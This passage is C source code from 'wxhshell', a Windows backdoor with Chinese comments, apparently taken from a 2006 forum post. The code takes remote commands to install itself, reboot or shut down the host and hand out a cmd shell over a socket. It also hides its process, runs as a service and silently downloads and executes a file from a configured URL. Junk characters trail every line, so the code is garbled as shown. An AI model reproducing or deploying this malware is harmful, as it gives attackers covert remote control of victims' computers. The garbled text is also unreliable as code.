      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  *4yN3y  
    break; 2$0)?ZC?=  
  } _l&ucA  
  // 安装 `wO}Hz  
  case 'i': { 9([6d.`~  
    if(Install()) nX[;^v/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZK dh%8C  
    else N}Q FGX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [)|+F wJ  
    break; KH<v@IJ\  
    } dOXD{c  
  // 卸载 x ^vt; $  
  case 'r': { <r\I"z$  
    if(Uninstall()) ?q$P>guH6-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '2v f|CX  
    else !v>ew9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 =>G#  
    break; ! D1zXXq  
    } !nw [  
  // 显示 wxhshell 所在路径 YoSQN/Z  
  case 'p': { =/Juh7[C  
    char svExeFile[MAX_PATH]; BKb<2  
    strcpy(svExeFile,"\n\r"); i21QJ6jPcI  
      strcat(svExeFile,ExeFile); +/N1_  
        send(wsh,svExeFile,strlen(svExeFile),0); {;n0/   
    break; DY3:#X`4  
    } a%J /0'(d  
  // 重启 ?qT(3C9p  
  case 'b': { - 9&g[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *cNk>y  
    if(Boot(REBOOT)) 7),*3c')  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GX38~pq  
    else { 08r[K(bfb,  
    closesocket(wsh); K51fC4'{  
    ExitThread(0); -!R l(if  
    } &?T${*~  
    break; /hci\-8N~  
    } ?5~!i9pY  
  // 关机 JDhwN<0R  
  case 'd': { 9d\N[[Vu]R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L82NP)St  
    if(Boot(SHUTDOWN)) x# 8IZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h48 bb.p2  
    else { 8+(c1  
    closesocket(wsh); !-(J-45  
    ExitThread(0); {B^pnLc  
    } kI+b <$:D  
    break; zoXuFg  
    } >hb- 5xC  
  // 获取shell v" FO  
  case 's': { l<N?'&  
    CmdShell(wsh);  -$R5  
    closesocket(wsh); P"Rk?lL  
    ExitThread(0); /Ynt<S9"  
    break; UK:M:9  
  } 0w}{(P;  
  // 退出 ]h8/M7k  
  case 'x': { L>:FGNf^H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m X:bA5db  
    CloseIt(wsh); S7#0*2#[o  
    break; bZ1 0v;  
    } rC rr"O#j  
  // 离开 Ar5JP_M`E  
  case 'q': { 8b~7~VCk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *1v_6<;2i<  
    closesocket(wsh); uXNp!t Y  
    WSACleanup(); 4K #^dJnC  
    exit(1); .~,^u  
    break; V=9Bto00  
        } 4#@0T"T~M  
  } ?>TbT fmR  
  } Gx|Dql  
Sy B-iQn  
  // 提示信息 ._(z~3s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3G(skphE  
} >I:9'"`  
  } Esa6hU#  
[Ekgft&  
  return; 5j1 IH,yW  
}  p1?J  
a;yV#Y  
// shell模块句柄 auoA   
int CmdShell(SOCKET sock) L]NYYP-  
{ 3H <`Z4;  
STARTUPINFO si; gQCC>8  
ZeroMemory(&si,sizeof(si)); C=EhY+5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8fEAYRGd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c0hdLl;5  
PROCESS_INFORMATION ProcessInfo; JrxP,[qJG  
char cmdline[]="cmd"; N$ *>suQ,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4SBLu%=s%  
  return 0; Qv=Bq{N  
} ?e2Y`0  
7t+]z)  
// 自身启动模式 lDH_ Y]bM  
int StartFromService(void) E =  ^-Z  
{ n('VQ0b  
typedef struct ;<~j)8  
{ m9cj7  
  DWORD ExitStatus; ;pCG9  
  DWORD PebBaseAddress; fl!1AKSn@N  
  DWORD AffinityMask; :.C)7( 8S  
  DWORD BasePriority; Z%A<#%    
  ULONG UniqueProcessId; {AtfK>D  
  ULONG InheritedFromUniqueProcessId; 81cv:|"  
}   PROCESS_BASIC_INFORMATION; Z#[>N,P  
%Ln?dF+  
PROCNTQSIP NtQueryInformationProcess; &a~L_`\'  
C`z;,!58%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =b|)Wnt2f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BD?F`%-x  
J$<:/^t  
  HANDLE             hProcess; ,at-ci\'  
  PROCESS_BASIC_INFORMATION pbi; <"{+  
5auL<Pq   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }]Qmt5'NI  
  if(NULL == hInst ) return 0; >DkN+S  
~c9vdK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #{?m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R|6RI}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i"ck`6v"8  
C-_w]2MM  
  if (!NtQueryInformationProcess) return 0; J>/Ci\OB  
OcLg3.:L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }NR`81  
  if(!hProcess) return 0; ~ rQ4n9G  
0  %C!`7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |ORmS& 7  
v] W1F,u  
  CloseHandle(hProcess); ~x9 W{B]  
deHY8x5uI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ysQEJm^|-u  
if(hProcess==NULL) return 0; 8UjCX[v  
t Qp* '  
HMODULE hMod; xu0;a  
char procName[255]; Y+}OClS  
unsigned long cbNeeded; !#l0@3  
XtnIK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K7n;Zb:BR  
q^Q|.&_k /  
  CloseHandle(hProcess); M ^ 0w/  
g%Th_=qy  
if(strstr(procName,"services")) return 1; // 以服务启动 (mu{~@Hw  
kJVM3F%  
  return 0; // 注册表启动 I67k M{V  
} zDKLo 3:  
0W!V V=j<}  
// 主模块 E5v|SFD  
int StartWxhshell(LPSTR lpCmdLine) j&o/X7I=  
{ =<Zwv\U  
  SOCKET wsl; >MBn2(\B;  
BOOL val=TRUE; uKaf{=*  
  int port=0; 7H/! rx  
  struct sockaddr_in door; rHA/  
v3iDh8.__  
  if(wscfg.ws_autoins) Install(); (UbR%A|v;  
Q-H =wJ4R  
port=atoi(lpCmdLine); a @yE:HU  
)&g2D@+{  
if(port<=0) port=wscfg.ws_port; 9`hpa-m@  
*q\HFI  
  WSADATA data; # khyy-B=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hVTyv"  
\= )[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (\[jf39e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  3D[:Rf[  
  door.sin_family = AF_INET; qP%Smfp6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4n `[SN  
  door.sin_port = htons(port); vV\/pu8  
UU;Y sj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y2ah zB  
closesocket(wsl); Q&:92f\y  
return 1; ?eY chVq  
} eB}sg4  
m bB\~n  
  if(listen(wsl,2) == INVALID_SOCKET) { l7=$4As/hI  
closesocket(wsl); :7 s#5b  
return 1; * wQZ '  
} q/aL8V<"z  
  Wxhshell(wsl); {HE.mHy  
  WSACleanup(); _KT]l./  
>G w%r1)  
return 0; CU} q&6h  
[hvig$L  
} &</ @0  
C {H'  
// 以NT服务方式启动 3P<Zzt%eT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^*4(JR   
{ 7J)a"d^e  
DWORD   status = 0; Nys'4kx7  
  DWORD   specificError = 0xfffffff; &T| UAM.  
tCF0Ah  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T`(;;%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B7x"ef  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eO"\UDBV  
  serviceStatus.dwWin32ExitCode     = 0; XO8 H]  
  serviceStatus.dwServiceSpecificExitCode = 0; Is#v6:#^  
  serviceStatus.dwCheckPoint       = 0; ,vHX>)M|  
  serviceStatus.dwWaitHint       = 0; b(.o|d/P  
[1[[$ Dr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <_FF~lj  
  if (hServiceStatusHandle==0) return; JsoWaD  
5 p(t")  
status = GetLastError(); P(W\aLp  
  if (status!=NO_ERROR) BLYk <m  
{ V< 9em7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (p#;6Xhf  
    serviceStatus.dwCheckPoint       = 0; Td=] tVM  
    serviceStatus.dwWaitHint       = 0; 6A{s%v H  
    serviceStatus.dwWin32ExitCode     = status; R4K eUn"  
    serviceStatus.dwServiceSpecificExitCode = specificError; y:(C=*^<t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }lQn]q  
    return; n"`SL<K1  
  } V!aC#^  
VG*=)8{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [fJFH^&?hr  
  serviceStatus.dwCheckPoint       = 0; VS@rM<K{  
  serviceStatus.dwWaitHint       = 0; 85d7IB{28  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FKvO7? K  
} QKuc21  
N]P*6sf-6  
// 处理NT服务事件,比如:启动、停止 [^"(%{H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D%";!7u  
{ 1.cUol nr  
switch(fdwControl) lhvZ*[[<)  
{ Y9c9/_CSj  
case SERVICE_CONTROL_STOP: 9zM4D  
  serviceStatus.dwWin32ExitCode = 0; @bVh?T0~F,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; | 2c!t$O@v  
  serviceStatus.dwCheckPoint   = 0; CI3_lWax%  
  serviceStatus.dwWaitHint     = 0; 4OESsN$O  
  { 8^ZM U{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3=eGS  
  } My43\p  
  return; @ #O|  
case SERVICE_CONTROL_PAUSE: & ,gryBN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nR|uAw  
  break; L"zgBB?K6  
case SERVICE_CONTROL_CONTINUE: e]y=]}A3{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8G^B%h]  
  break; 36Fa9P FCc  
case SERVICE_CONTROL_INTERROGATE: T_|fb)G+{  
  break; Dg2#Gv0B  
}; 2K7:gd8Ru  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aN);P>  
} ]oZ,{Q5~  
CSg5i&A=  
// 标准应用程序主函数 sMe~C>RD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) onypwfIk)t  
{ "8Wc\YDh  
pU)3*9?cIl  
// 获取操作系统版本 !j\&BAxTEk  
OsIsNt=GetOsVer(); {bsr 9.k(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eRWF7`HH+  
W*WH .1&  
  // 从命令行安装 ->#@rF:S  
  if(strpbrk(lpCmdLine,"iI")) Install(); J*4_|j;Z-E  
\crb&EgID  
  // 下载执行文件 JbD)}(G;  
if(wscfg.ws_downexe) { Vm%ux>}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BtBt>r(*  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]KV8u1H>  
} di P4]/%1  
/JY ph^3][  
if(!OsIsNt) { ^eT>R,aB  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,Z\,IRn  
HideProc(); \?]HqPibx  
StartWxhshell(lpCmdLine); *V<2\-  
} 6'lT`E|  
else FO)nW:8]  
  if(StartFromService()) LRlk9:QD>  
  // 以服务方式启动 ^V;lZtZ  
  StartServiceCtrlDispatcher(DispatchTable); Ognq*[om  
else W&q5cz  
  // 普通方式启动 ^xu)~:} i  
  StartWxhshell(lpCmdLine); JdNPfkOF  
U~`^Y8UF  
return 0; w5JC2   
}
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只看该作者 1 发表于: 2006-10-10
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